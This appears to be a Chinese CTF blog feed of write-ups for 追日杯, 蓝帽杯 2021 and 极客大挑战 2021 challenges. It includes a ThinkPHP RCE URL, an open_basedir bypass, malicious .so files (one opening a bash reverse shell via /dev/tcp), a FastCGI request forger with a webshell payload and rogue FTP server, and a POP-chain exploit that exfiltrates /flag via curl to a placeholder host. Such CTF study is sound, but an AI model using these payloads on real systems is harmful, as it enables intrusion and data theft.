11  c1 = 409050138400231971554294088177137255457866075540394361465618420085942037334914972271553348781734546381272987423855027216175678797436131073306888763180501523905135583905144901381224572922542735812959826069495112995911282269377230245515683164143316763758642080370867274365360647518283349684822272605576874844625387807047876206532634507258565110299247417968586498427727688356287596783690957837504438650897148190345700044861267114786057049491164836631033845216983588558199652913012590435836646957168387808248342739079479547784004511726635639407815336376908051269831834833967007931321906512831272657668494512124731674031937509111585885992978363095964860952405173714000880231608814695517820595229454266690556749667796735461828114590568954658520700475934939183919597602772428393159957171678913035977611490511885932486154785287709132255326686398261542844030065556598666191350007752712425713619749771672365637485154754564779267050928584728661807027994863116745339833084769533981399300503220638563466169390183736267153617583845250415885823024980144631079997094009230377992595577328633292390530018606442243369688905175147209020920954422003555782869268678894916106413862664953146515732785804502660407314901808581405034432308726147933849979689989
12  c2 = 660786051824910230873884600744959030265388429192727951166721113879854464522389325739802703310913732902833778034401632628938144275110259033918655077691853918758634982899427693594671785857857909036915654998761013827868199342737749405352507276436866364180154665315956829382533710951839019853169966694154970158966072113917267296101513243808003273019100867933714599898053661451818477001562112853209154906322205083636027498233807131522283087979547271774312067398759611022191882371123084261761098923994873110788704960182273817371315264655632343946622563006808101322364265578490109714246148052618988958628592753911496921563155003551926547472410642201974274781280633708636309449501619866376422440041537758514811836133804597783256003504933767151921016752120604258580059668650713822253122650687275054081288622996628277268146723350191531420962242602380839728712825405572549099787290957348706683963946075215806340393267714297975946671488782713260980129229158285210722045502442378445134853897763065681974592818004420357542042894544487694477937617156099760573978759048442186633017206146993595028297257148566673402976005517349438948032707348011387517929999285636559431700923275025083662201127580201286747957827301089492530820945594666308738557238429
13  e1 = 17
14  e2 = 65537
15  s = egcd(e1, e2)
16  s1 = s[1]
17  s2 = s[2]
18  if s1<0:
19    s1 = - s1
20    c1 = invert(c1, n)
21  elif s2<0:
22    s2 = - s2
23    c2 = invert(c2, n)
24  m = pow(c1,s1,n)*pow(c2,s2,n) % n
25  print n2s(m)
26if __name__ == '__main__':
27  main()

python

签到#

腾讯会议 flag{we1c0m_t0_asur!ctf}

]]>

首届安徽省“追日杯”大学生网络安全挑战赛WriteUp

Sun, 05 Dec 2021 17:04:40 +0800

第六，应该能混个三等奖

题量很大，打的人少，很多题都是0解，Reverse全0解，其他方向大都是个位数，综合渗透那里，题特别多，做了一个第一题就没做了，也挺难的，但是分还很低。怪怪的。

Web#

gotofly#

题目一直重定向，即使到了flag页面，立即刷新也看不见，BP直接抓包，一页一页翻就行了

Misc#

chess#

半自动化脚本

 1# -- coding=utf8 --
 2from pwn import *
 3io=remote("ctf.zrb.edisec.net",33741)
 4win_data=''
 5if __name__ == '__main__':
 6	n=0
 7	l=[[0]*3]*3
 8	while 1:
 9		if '499/500' in win_data :
10			p.interactive()
11		try:
12			io.sendlineafter('x/y:>','2/2')
13			ob=io.recvuntil('computer:>',timeout=0.2)
14			#ob=io.recvuntil('player:>',timeout=2)
15			#ob=io.recvuntil(str('player:>',timeout=2))
16			#ob=io.recvuntil(str('player:>',timeout=2)).strip()
17			ob=io.recvuntil('player:>',timeout=0.2).decode('utf-8')
18			ob=ob.strip()
19			#ob=ob.split('/n')
20			ob=ob.split('\n')
21			#ob=ob.split('|')
22			ob1=ob[0].split('|')
23			ob2=ob[4].split('|')
24			if '#' in ob1[0] or '#' in ob2[2]:
25				io.send(b'1/2\n')
26				io.sendlineafter('x/y:>',b'3/2')
27			else:
28				io.send(b'2/1\n')
29				io.sendlineafter('x/y:>',b'2/3')
30			try:
31				ob=io.recvuntil('Can you win',timeout=0.2)
32				if not ob:
33					raise Exception("123")
34				win_data=io.recvuntil('*****').decode('utf-8')
35			except:
36				try:
37					io.send(b'1/1\n')
38					ob1=io.recvuntil('repeat',timeout=0.2)
39					if not ob1:
40						raise Exception("123")
41					io.send(b'1/3\n')
42					io.sned(b'3/1\n')
43				except:
44					try:
45						io.send(b'3/3\n')
46						ob=io.recvuntil('Can you win',timeout=0.2)
47						if not ob:
48							raise Exception("123")
49						win_data=io.recvuntil('*****').decode('utf-8')
50					except:
51						#io.interactive()
52						code=0
53						for i in range(1,4):
54							if code:
55								break
56							for j in range(1,4):
57								try:
58									io.send('%s/%s\n'%(i,j))
59									ob=io.recvuntil('Can you win',timeout=0.2)
60									if not ob:
61										raise Exception("123")
62									code=1
63									win_data=io.recvuntil('*****').decode('utf-8')
64									break
65								except:
66									pass
67					else:
68						print("第四层发送2/3，接收win正常")
69				else:
70					print("第三层接收repeat和发送正常")
71			print("第二层接收win正常")
72		except Exception as e:
73			if 'of range' not in e.args[0]:
74				io.interactive()
75		else:
76			print("成功")
77	io.interactive()

python

checkin#

签到：flag{welcome_to_zrb@2021}

阵法的奥秘#

提示是8进制，观察到最后的数字是变化的

1PING zrb.edisec.net: 56 data bytes
264 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
364 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.78 ms
464 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.83 ms
564 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.77 ms
664 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
764 bytes from zrb.edisec.net: icmp_seq=3 ttl=51 time=97.81 ms
8...
9略

text

先提取出来与最小的76取余后转字符串最后两层base64

 1import base64
 2a=[77,78,83,77,81,81,76,82,77,76,82,80,77,80,77,77,76,82,77,81,83,77,83,78,77,80,80,77,76,82,77,81,76,77,80,77,77,78,82,77,76,81,77,79,78,77,82,77,77,79,77,77,81,78,77,77,77,77,83,76,77,80,78,77,76,82,77,80,83,77,83,76,77,78,81,77,81,82,77,79,78,77,79,77,77,77,81,76,82,77,77,77,78,77,82,82,77,78,80,77,78,80,77,76,81,76,82,81,77,78,78,77,76,83,77,77,77,77,83,77,77,77,81,77,79,76,77,80,80,77,80,77,77,78,83,77,76,82,77,76,82,76,82,80,77,79,78,77,76,81,77,80,80,77,82,78,77,80,80,76,82,78,77,77,78,77,82,76,77,78,78,77,81,78,77,81,79,76,83,81]
 3d=''
 4for i in a:
 5    d=d+str(i%76)
 6e=''
 7for i in range(0,len(d),3):
 8    e=e+chr(int(d[i:i+3],8))
 9z=base64.b64decode(e)
10z=base64.b64decode(z)
11print(z)

python

偷走的flag#

解压得到这是一个地址.txt和纸条.rar

小明去食堂吃饭，为了能在吃饭的时候有座位，他把自己的耳机和手机充电器放在桌子上。买饭回来后发现自己的东西不见了。以为被收走了。就去失物招领处询问。询问无果后，在QQ空间发现自己被挂了，说自己给学校丢人，用充电器占座，并把充电器放到了指定位置。小明找到以后发现了一串密文，只有解开密文，才能找到充电器的位置。你能帮助小明发现充电器被藏到哪里了吗。

密文如下：

1%E2%A1%96%E2%A1%9C%E2%A1%91%E2%A1%97%E2%A1%8B%E2%A1%B1%E2%A1%83%E2%A0%81%E2%A1%94%E2%A1%95%E2%A1%AF%E2%A1%B6%E2%A1%82%E2%A1%9F%E2%A1%9D%E2%A1%AF%E2%A1%99%E2%A1%9D%E2%A1%80%E2%A1%9C%E2%A1%95%E2%A1%9D%3D

bash

很明显的url编码，解密后得到⡖⡜⡑⡗⡋⡱⡃⠁⡔⡕⡯⡶⡂⡟⡝⡯⡙⡝⡀⡜⡕⡝= 盲文编码，在线解密 ↗ 得到flag{As1de_From_implem

用这个作为压缩包密码解压

恭喜你帮助小明找到充电器。但是他的耳机也不见了。通过查询监控发现耳机与充电器一起被拿走了。当他发现耳机时，只剩下一个进水的耳机、一摊水渍和一个被揉搓了好几遍的纸条，上面字迹已经被污染了，但隐约写着：********-I_forg1ve_y0u}。你能帮助小明发现被隐藏的字样吗。

vim中看到U+202C等字符，为0宽加密解密得到3ntat1on

最后拼接在一起，注意别把0宽字符复制进去 flag{As1de_From_implem3ntat1on-I_forg1ve_y0u}

问卷#

一个调查问卷，做完即得flag

综合渗透#

综合渗透-FLAG1#

Thinkphp框架，还知道版本，直接RCE

1http://82.156.76.152:8077/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

http

]]>

蓝帽杯2021 One Pointer PHP

Tue, 23 Nov 2021 03:04:06 +0800

第一次打FPM/FastCGI的题，实际上也是第一次接触打中间件的题，刚开始是在陇原战“疫”碰到了一道类似的题，也是改编的这道，为了更好地复现这道题，理解这道题，我去把Fastcgi 协议分析与 PHP-FPM 攻击方法都看了几遍。攻击的实操部分，本来想着复现，但那个鬼环境一直差点意思。这里不得不提中国网安界大神——phith0n，P神开创的vulhub确实帮了国内外网络安全学习者的大忙，让安全研究者更加专注于漏洞原理本身，而不是忙于搭建复杂的漏洞环境。但不幸的事，这个洞的环境坏了，问了P神说官网要下架，让我去GitHub找找，可惜GitHub也没有。。。

所以PHP-FPM攻击实操等我搭好环境再来搞，Fastcgi协议有时间再来分析。

开启靶机，这个赛被人戏称广告杯，玩笑归玩笑，这题质量很高的，打开如下图

但好像比赛时图片是火炬

不管了，博客不能水

题目给了一个web.zip，解压后有两个文件，分别是user.php、add_api.php。为了方便日后我自己或者他人阅读，把代码贴出来：

user.php：

1php
2class User{
3	public $count;
4}
5?>

php

add_api.php:

 1php
 2include "user.php";
 3if($user=unserialize($_COOKIE["data"])){
 4	$count[++$user->count]=1;
 5	if($count[]=1){
 6		$user->count+=1;
 7		setcookie("data",serialize($user));
 8	}else{
 9		eval($_GET["backdoor"]);
10	}
11}else{
12	$user=new User;
13	$user->count=1;
14	setcookie("data",serialize($user));
15}
16?>

php

1、整数溢出#

代码很明显，add_api.php包含user.php，并且将Cookie里的data反序列化为$user对象，将$user里的count值+1作为$count的下标，并给此元素赋值为1。随后，进行if语句判断，$count[]=1的意思就是给此数组末尾添加一个元素，值为1。那这里第一个考点就已经出来了，倘若我将count设为最大值-1的数字，那么在经历过自增后，该count为最大值，再进行$count[]=1操作，由于数组已经达到最大值了，数组末尾无法添加元素，所以此操作出错，执行else语句。我们便可以RCE。不同的操作系统PHP最大值是不一样的，32位上为2147483647，64位上为9223372036854775807，所以这里我们应该设置count为9223372036854775806，写个序列化脚本生成序列化字符串

1php
2    class User
3    {
4        public $count=9223372036854775806;
5    }
6    echo serialize(new User);
7?>

php

payload：O:4:"User":1:{s:5:"count";i:9223372036854775806;}

2、拿webshell#

注意else里的eval函数，不要直接传个$_POST[cmd];，eval是执行里面的语句，这个语句才是我们拿shell的点，所以应该传入eval($_POST[cmd]);,注意Cookie要url编码。还有接收参数是在add_api.php这个文件里的，所以你要传给这个文件。

3、绕过base_dir#

进入shell后，看到根目录底下是有flag的，可是没有读取权限，这个时候我们访问phpinfo查看相关配置信息，hackbar传就可以看了

可一看到配置里是存在FPM/FastCGI的，而且disable_function禁的太多了，openbase_dir也只开放了html，这里我们需要先绕过openbase_dir读取到其他重要文件

1php
2mkdir('bypass');
3chdir('bypass');
4ini_set('open_basedir','..');
5chdir('..');chdir('..');chdir('..');
6chdir('..');chdir('..');chdir('..');chdir('..');
7ini_set('open_basedir','/');
8var_dump(file_get_contents("/usr/local/etc/php/php.ini"));

php

在输出中我们可以看到extension=easy_bypass.so，这是加载了异常so文件，看其他wp说是可以pwn的，我目前pwn没学多少还是算了。再读取nginx.conf文件看看

在这里看到了include /etc/nginx/sites-enabled/*;，那直接去读nginx的默认配置

居然开着FastCGI服务，那基本可以确定是未授权打FPM RCE了

4、加载恶意so文件#

编写so拓展

1#define _GNU_SOURCE
2#include 
3#include 
4#include 
5
6__attribute__ ((__constructor__)) void preload (void){
7    system("ls / >/var/www/html/look");
8}

这个语句是将ls /结果输出到look文件

编译：gcc evilso.c -fPIC -shared -o evilso.so，使用Linux编译并上传至站点目录

5、编写文件处理#

再写一个接收文件的php文件，这个文件用于接收恶意的fastcdi请求文件并写回主机，这里涉及到fastcgi的攻击原理，有时间再说。

1php
2    $file = $_GET['file'] ?? '/tmp/file';
3    $data = $_GET['data'] ?? ':)';
4    echo($file."
".$data."
");
5    var_dump(file_put_contents($file, $data));
6?>

php

6、伪造恶意FastCGI请求#

网上亘古不变的伪造请求的代码，修改几个配置、路径就好

  1php
  2/**
  3 * Note : Code is released under the GNU LGPL
  4 *
  5 * Please do not change the header of this file
  6 *
  7 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
  8 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
  9 * the License, or (at your option) any later version.
 10 *
 11 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 12 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 13 *
 14 * See the GNU Lesser General Public License for more details.
 15 */
 16/**
 17 * Handles communication with a FastCGI application
 18 *
 19 * @author      Pierrick Charron 
 20 * @version     1.0
 21 */
 22class FCGIClient
 23{
 24    const VERSION_1            = 1;
 25    const BEGIN_REQUEST        = 1;
 26    const ABORT_REQUEST        = 2;
 27    const END_REQUEST          = 3;
 28    const PARAMS               = 4;
 29    const STDIN                = 5;
 30    const STDOUT               = 6;
 31    const STDERR               = 7;
 32    const DATA                 = 8;
 33    const GET_VALUES           = 9;
 34    const GET_VALUES_RESULT    = 10;
 35    const UNKNOWN_TYPE         = 11;
 36    const MAXTYPE              = self::UNKNOWN_TYPE;
 37    const RESPONDER            = 1;
 38    const AUTHORIZER           = 2;
 39    const FILTER               = 3;
 40    const REQUEST_COMPLETE     = 0;
 41    const CANT_MPX_CONN        = 1;
 42    const OVERLOADED           = 2;
 43    const UNKNOWN_ROLE         = 3;
 44    const MAX_CONNS            = 'MAX_CONNS';
 45    const MAX_REQS             = 'MAX_REQS';
 46    const MPXS_CONNS           = 'MPXS_CONNS';
 47    const HEADER_LEN           = 8;
 48    /**
 49     * Socket
 50     * @var Resource
 51     */
 52    private $_sock = null;
 53    /**
 54     * Host
 55     * @var String
 56     */
 57    private $_host = null;
 58    /**
 59     * Port
 60     * @var Integer
 61     */
 62    private $_port = null;
 63    /**
 64     * Keep Alive
 65     * @var Boolean
 66     */
 67    private $_keepAlive = false;
 68    /**
 69     * Constructor
 70     *
 71     * @param String $host Host of the FastCGI application
 72     * @param Integer $port Port of the FastCGI application
 73     */
 74    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
 75    {
 76        $this->_host = $host;
 77        $this->_port = $port;
 78    }
 79    /**
 80     * Define whether or not the FastCGI application should keep the connection
 81     * alive at the end of a request
 82     *
 83     * @param Boolean $b true if the connection should stay alive, false otherwise
 84     */
 85    public function setKeepAlive($b)
 86    {
 87        $this->_keepAlive = (boolean)$b;
 88        if (!$this->_keepAlive && $this->_sock) {
 89            fclose($this->_sock);
 90        }
 91    }
 92    /**
 93     * Get the keep alive status
 94     *
 95     * @return Boolean true if the connection should stay alive, false otherwise
 96     */
 97    public function getKeepAlive()
 98    {
 99        return $this->_keepAlive;
100    }
101    /**
102     * Create a connection to the FastCGI application
103     */
104    private function connect()
105    {
106        if (!$this->_sock) {
107            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
108            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
109            if (!$this->_sock) {
110                throw new Exception('Unable to connect to FastCGI application');
111            }
112        }
113    }
114    /**
115     * Build a FastCGI packet
116     *
117     * @param Integer $type Type of the packet
118     * @param String $content Content of the packet
119     * @param Integer $requestId RequestId
120     */
121    private function buildPacket($type, $content, $requestId = 1)
122    {
123        $clen = strlen($content);
124        return chr(self::VERSION_1)         /* version */
125            . chr($type)                    /* type */
126            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
127            . chr($requestId & 0xFF)        /* requestIdB0 */
128            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
129            . chr($clen & 0xFF)             /* contentLengthB0 */
130            . chr(0)                        /* paddingLength */
131            . chr(0)                        /* reserved */
132            . $content;                     /* content */
133    }
134    /**
135     * Build an FastCGI Name value pair
136     *
137     * @param String $name Name
138     * @param String $value Value
139     * @return String FastCGI Name value pair
140     */
141    private function buildNvpair($name, $value)
142    {
143        $nlen = strlen($name);
144        $vlen = strlen($value);
145        if ($nlen < 128) {
146            /* nameLengthB0 */
147            $nvpair = chr($nlen);
148        } else {
149            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
150            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
151        }
152        if ($vlen < 128) {
153            /* valueLengthB0 */
154            $nvpair .= chr($vlen);
155        } else {
156            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
157            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
158        }
159        /* nameData & valueData */
160        return $nvpair . $name . $value;
161    }
162    /**
163     * Read a set of FastCGI Name value pairs
164     *
165     * @param String $data Data containing the set of FastCGI NVPair
166     * @return array of NVPair
167     */
168    private function readNvpair($data, $length = null)
169    {
170        $array = array();
171        if ($length === null) {
172            $length = strlen($data);
173        }
174        $p = 0;
175        while ($p != $length) {
176            $nlen = ord($data{$p++});
177            if ($nlen >= 128) {
178                $nlen = ($nlen & 0x7F << 24);
179                $nlen |= (ord($data{$p++}) << 16);
180                $nlen |= (ord($data{$p++}) << 8);
181                $nlen |= (ord($data{$p++}));
182            }
183            $vlen = ord($data{$p++});
184            if ($vlen >= 128) {
185                $vlen = ($nlen & 0x7F << 24);
186                $vlen |= (ord($data{$p++}) << 16);
187                $vlen |= (ord($data{$p++}) << 8);
188                $vlen |= (ord($data{$p++}));
189            }
190            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
191            $p += ($nlen + $vlen);
192        }
193        return $array;
194    }
195    /**
196     * Decode a FastCGI Packet
197     *
198     * @param String $data String containing all the packet
199     * @return array
200     */
201    private function decodePacketHeader($data)
202    {
203        $ret = array();
204        $ret['version']       = ord($data{0});
205        $ret['type']          = ord($data{1});
206        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
207        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
208        $ret['paddingLength'] = ord($data{6});
209        $ret['reserved']      = ord($data{7});
210        return $ret;
211    }
212    /**
213     * Read a FastCGI Packet
214     *
215     * @return array
216     */
217    private function readPacket()
218    {
219        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
220            $resp = $this->decodePacketHeader($packet);
221            $resp['content'] = '';
222            if ($resp['contentLength']) {
223                $len  = $resp['contentLength'];
224                while ($len && $buf=fread($this->_sock, $len)) {
225                    $len -= strlen($buf);
226                    $resp['content'] .= $buf;
227                }
228            }
229            if ($resp['paddingLength']) {
230                $buf=fread($this->_sock, $resp['paddingLength']);
231            }
232            return $resp;
233        } else {
234            return false;
235        }
236    }
237    /**
238     * Get Informations on the FastCGI application
239     *
240     * @param array $requestedInfo information to retrieve
241     * @return array
242     */
243    public function getValues(array $requestedInfo)
244    {
245        $this->connect();
246        $request = '';
247        foreach ($requestedInfo as $info) {
248            $request .= $this->buildNvpair($info, '');
249        }
250        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
251        $resp = $this->readPacket();
252        if ($resp['type'] == self::GET_VALUES_RESULT) {
253            return $this->readNvpair($resp['content'], $resp['length']);
254        } else {
255            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
256        }
257    }
258    /**
259     * Execute a request to the FastCGI application
260     *
261     * @param array $params Array of parameters
262     * @param String $stdin Content
263     * @return String
264     */
265    public function request(array $params, $stdin)
266    {
267        $response = '';
268//        $this->connect();
269        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
270        $paramsRequest = '';
271        foreach ($params as $key => $value) {
272            $paramsRequest .= $this->buildNvpair($key, $value);
273        }
274        if ($paramsRequest) {
275            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
276        }
277        $request .= $this->buildPacket(self::PARAMS, '');
278        if ($stdin) {
279            $request .= $this->buildPacket(self::STDIN, $stdin);
280        }
281        $request .= $this->buildPacket(self::STDIN, '');
282        echo('?file=ftp://ip:9999/&data='.urlencode($request));
283//        fwrite($this->_sock, $request);
284//        do {
285//            $resp = $this->readPacket();
286//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
287//                $response .= $resp['content'];
288//            }
289//        } while ($resp && $resp['type'] != self::END_REQUEST);
290//        var_dump($resp);
291//        if (!is_array($resp)) {
292//            throw new Exception('Bad request');
293//        }
294//        switch (ord($resp['content']{4})) {
295//            case self::CANT_MPX_CONN:
296//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
297//                break;
298//            case self::OVERLOADED:
299//                throw new Exception('New request rejected; too busy [OVERLOADED]');
300//                break;
301//            case self::UNKNOWN_ROLE:
302//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
303//                break;
304//            case self::REQUEST_COMPLETE:
305//                return $response;
306//        }
307    }
308}
309?>
310311// real exploit start here
312//if (!isset($_REQUEST['cmd'])) {
313//    die("Check your input\n");
314//}
315//if (!isset($_REQUEST['filepath'])) {
316//    $filepath = __FILE__;
317//}else{
318//    $filepath = $_REQUEST['filepath'];
319//}
320
321$filepath = "/var/www/html/add_api.php";
322$req = '/'.basename($filepath);
323$uri = $req .'?'.'command=whoami';
324$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
325$code = ""; // php payload -- Doesnt do anything
326$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = evilso.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
327$params = array(
328    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
329    'REQUEST_METHOD'    => 'POST',
330    'SCRIPT_FILENAME'   => $filepath,
331    'SCRIPT_NAME'       => $req,
332    'QUERY_STRING'      => 'command=whoami',
333    'REQUEST_URI'       => $uri,
334    'DOCUMENT_URI'      => $req,
335#'DOCUMENT_ROOT'     => '/',
336    'PHP_VALUE'         => $php_value,
337    'SERVER_SOFTWARE'   => 'ctfking/Tajang',
338    'REMOTE_ADDR'       => '127.0.0.1',
339    'REMOTE_PORT'       => '9001', // 找准服务端口
340    'SERVER_ADDR'       => '127.0.0.1',
341    'SERVER_PORT'       => '80',
342    'SERVER_NAME'       => 'localhost',
343    'SERVER_PROTOCOL'   => 'HTTP/1.1',
344    'CONTENT_LENGTH'    => strlen($code)
345);
346// print_r($_REQUEST);
347// print_r($params);
348//echo "Call: $uri\n\n";
349echo $client->request($params, $code)."\n";
350?>

php

运行此文件，此文件输出的payload即我们攻击的关键

payload：

1?file=ftp://ip:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02H%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%BBPHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+evilso.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0ESERVER_SOFTWAREctfking%2FTajang%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

bash

7、运行恶意FTP服务#

在公网VPS上运行以下代码，注意云服务器需要打开防火墙里的端口，并且在有服务使用端口时才会开放端口，其他时候默认关闭

 1import socket
 2s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 3s.bind(('0.0.0.0', 9999))
 4s.listen(1)
 5conn, addr = s.accept()
 6conn.send(b'220 welcome\n')
 7#Service ready for new user.
 8#Client send anonymous username
 9#USER anonymous
10conn.send(b'331 Please specify the password.\n')
11#User name okay, need password.
12#Client send anonymous password.
13#PASS anonymous
14conn.send(b'230 Login successful.\n')
15#User logged in, proceed. Logged out if appropriate.
16#TYPE I
17conn.send(b'200 Switching to Binary mode.\n')
18#Size /
19conn.send(b'550 Could not get the file size.\n')
20#EPSV (1)
21conn.send(b'150 ok\n')
22#PASV
23conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2) 注意打到9001端口的服务
24conn.send(b'150 Permission denied.\n')
25#QUIT
26conn.send(b'221 Goodbye.\n')
27conn.close()

python

这个恶意ftp服务就是使用9999端口

8、给我打#

蓝色是我VPS IP打码了，我们看到输出的最后返回了int(681)，这就是dump出的数据包大小，这个时候就已经打通了，还记得编写so拓展时，把ls /输出到look文件吗？访问look文件，下载后，打开里面也会有根目录的文件，但是你再编写一个语句为cat /flag的so，还是没有flag的，因为权限不够

9、提权#

既然可以执行恶意so文件，那我们写一个反弹shell的so就好

1#define _GNU_SOURCE
2#include 
3#include 
4#include 
5
6__attribute__ ((__constructor__)) void preload (void){
7    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
8}

跟之前一样的编译，把老的so覆盖吧，这样也不用改payload，vps运行恶意ftp程序，再开一个终端开启监听，再执行一遍刚才的payload

成功反弹shell，因为没有权限的原因，所以我们仍然无法读取flag，这里我们需要提权，最常见的就是suid提权，使用find / -perm -u=s -type f 2>/dev/null查看具有suid权限的文件，这个要等一会才能出来。

php就有权限，那么可以直接php -a进入交互模式，直接读取flag文件，注意不要直接读取flag，还是要绕过openbase_dir的，你可以上传一个php文件，直接运行，也可以在交互模式下绕过并读取，建议使用文件，方便点，我这里使用的交互模式

出了，红线上面是输错了，XShell删除都不行，好像是编码原因。

这题质量是真高，复现也学了很多东西，现在把陇原那个看看，把FastCGI 协议和PHP-FPM 攻击方法再搞搞，Pwn也要看了，然后刷题。最近还有安洵杯，暗泉杯，西湖论剑太难了没进线下，这俩不知道后面打得怎么样，加入了一个CTF队伍，船山院士！！！第一次加入正规CTF队伍，希望多学点技术，不拖累队友。

]]>

极客大挑战 2021

Sat, 13 Nov 2021 00:50:59 +0800

题量很大，收获挺多，持续时间也长，据说结束之后会再持续一段时间，然后题目会开源。

WEB#

Dark#

暗网签到，难以置信

Welcome2021#

改个请求方法会提示你文件，再进去就好了

babysql#

直接把请求包扔sqlmap里，跑就完事了

sqlmap -r sql.txt -D flag -T fllag -C fllllllag --dump

babyPOP#

题目：

 1php
 2class a {
 3    public static $Do_u_like_JiaRan = false;
 4    public static $Do_u_like_AFKL = false;
 5}
 6
 7class b {
 8    private $i_want_2_listen_2_MaoZhongDu;
 9    public function __toString()
10    {
11        if (a::$Do_u_like_AFKL) {
12            return exec($this->i_want_2_listen_2_MaoZhongDu);
13        } else {
14            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
15        }
16    }
17}
18
19class c {
20    public function __wakeup()
21    {
22        a::$Do_u_like_JiaRan = true;
23    }
24}
25
26class d {
27    public function __invoke()
28    {
29        a::$Do_u_like_AFKL = true;
30        return "关注嘉然," . $this->value;
31    }
32}
33
34class e {
35    public function __destruct()
36    {
37        if (a::$Do_u_like_JiaRan) {
38            ($this->afkl)();
39        } else {
40            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
41        }
42    }
43}
44
45if (isset($_GET['data'])) {
46    unserialize(base64_decode($_GET['data']));
47} else {
48    highlight_file(__FILE__);
49}

php

很简单的pop链，链子很好构造，我最初的想法是：

调用exec，就要a::$Do_u_like_AFKL=true，全局中只有利用d类的invoke才行，调用toString需要把对象当作字符串用，刚好也在invoke里，如何调用invoke？e类的destruct就可以了，我之前是如何调用destruct的呢？我通常把这个类对象复制一份，再把原先那个unset，序列化原对象的副本就好了，但这个方法一般只适用于destruct为链子第一段，但这题不一样，需要满足里面的if语句，欲使a::$Do_u_like_JiaRan=true就要经过c类的wakeup，这里我刚开始就不会了。c怎么和e连起来？

这是最早的坎，还是那句话，太菜了

后来彻查destruct用法，又了解了显式销毁与隐式销毁后才明白destruct不只直接销毁调用。这里挂一下destruct与显隐销毁定义：

__destruct（析构函数）当某个对象成为垃圾或者当对象被显式销毁时执行

显式销毁，当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL 隐式销毁，PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉

所以当我们定义一个不存在的变量，再把这个变量创建为目标类的实例就好，因为这个对象本来就不存在，所以满足没有任何引用即满足destruct调用条件。

链子可以连起来了，那就没什么思路问题了，注意b里的私有属性，在b里改就行。

exp：

 1php
 2class b {
 3    private $i_want_2_listen_2_MaoZhongDu;
 4    public function __construct(){
 5        $this->i_want_2_listen_2_MaoZhongDu="curl http://xxx.xxx.xxx.xxx:xxxx/`base64 /flag`";
 6    }
 7}
 8
 9class c {
10    public $cv;
11    public function __construct(){
12        $this->cv=new e();
13    }
14}
15
16class d {
17    public $value;
18    public function __construct()
19    {
20        $this->value=new b();
21    }
22}
23
24class e {
25    public $afkl;
26    public function __construct(){
27        $this->afkl=new d();
28    }
29}
30
31$a=new c();
32echo(base64_encode(serialize($a)));

php

